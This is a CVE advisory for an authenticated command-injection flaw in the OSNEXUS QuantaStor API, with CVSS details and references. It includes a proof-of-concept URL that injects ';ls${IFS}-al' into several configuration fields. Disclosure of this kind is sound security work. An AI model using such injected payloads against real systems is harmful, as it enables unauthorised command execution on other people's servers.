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CVE-2021-42081

Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355

CVSS 9.1 CRITICALEPSS 1.0%CWE-78
An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Affected products
OSNEXUS · QuantaStor

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References
https://csirt.divd.nl/CVE-2021-42081https://csirt.divd.nl/DIVD-2021-00020/https://www.divd.nl/DIVD-2021-00020https://www.osnexus.com/products/software-defined-storagehttps://www.wbsec.nl/osnexus